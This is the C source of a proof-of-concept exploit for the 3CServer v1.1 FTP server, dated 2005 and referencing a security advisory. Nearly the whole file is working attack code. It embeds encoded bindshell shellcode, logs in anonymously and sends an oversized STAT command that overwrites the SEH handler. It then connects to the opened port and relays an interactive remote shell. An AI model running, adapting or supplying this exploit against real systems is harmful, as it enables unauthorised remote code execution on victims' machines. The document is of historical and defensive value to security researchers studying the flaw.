Related advisory : KOTIK/ADV-2005-0117

/*

subject: Proof of Concept exploit for 3CServer v1.1 FTP server
vendor: 3Com, http://support.3com.com/software/utilities_for_windows_32_bit.htm
`date`: Mon Feb 7 18:10:01 2005
notes: universal offset, SEH ptr overwriting with variation
author: mandragore, mandragore@turingtest@gmail.com

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "3CServer v1.1.007" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 21
#define default_user "anonymous"
#define default_pass "weak@3com.com"

#define GPA 0x0045b968
#define LLA 0x0045b964

#define offset 0x418A19 // call eax

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

static void start(void) __attribute__ ((constructor));

void start() {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1a,&gpa,4);
memcpy(bsh+0x2b,&lla,4);
}

int readcrap(int s) {
struct timeval tv;
fd_set fds;
int ret;
char buff[1024];

FD_ZERO(&fds);
FD_SET(s,&fds);

bzero(buff,sizeof(buff));

while (1) {
tv.tv_sec=1;
tv.tv_usec=0;
if ( ret=select(s+1, &fds, NULL, NULL, (struct timeval *)&tv) < 0 )
break;
if (FD_ISSET(s,&fds)) {
// something to read
if ( read(s,buff,sizeof(buff),0) < 1 )
break;
} else {
// timeout
return 1;
}
}

return 0; // something went bad
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -u user [default: " default_user "]\n");
printf(" -p pass [default: " default_pass "]\n");
printf(" -P <port> for the shellcode [default: 1180]\n");

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);

if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");

if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=1180; char bindopt=1;
int i,s;
char *buff, *jmpback="\xe9\x35\xff\xff\xff";
char *user=default_user; char *pass=default_pass;

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);

switch(argv[i][1]) {
case 'd':
host=argv[i+1];
break;
case 'u':
user=argv[i+1];
break;
case 'p':
pass=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}

if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
printf("[.] will try to put a bindshell on port %d.\n",Port);

// -------------------- core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] connect()");

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

readcrap(s);
sprintf(buff,"USER %s\r\n",user);
send(s,buff,strlen(buff),0);
readcrap(s);
sprintf(buff,"PASS %s\r\n",pass);
send(s,buff,strlen(buff),0);
readcrap(s);

bzero(buff,sizeof(buff));
strcpy(buff,"STAT ");
memset(buff+5,0x41,2000);
memcpy(buff+5+0x571-strlen(bsh),&bsh,strlen(bsh));
memcpy(buff+5+0x571,jmpback,strlen(jmpback));
i=offset;
memcpy(buff+5+0x5d9,&i,4);

send(s,buff,strlen(buff),0);
readcrap(s);

free(buff);

close(s);

// -------------------- end of core

sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);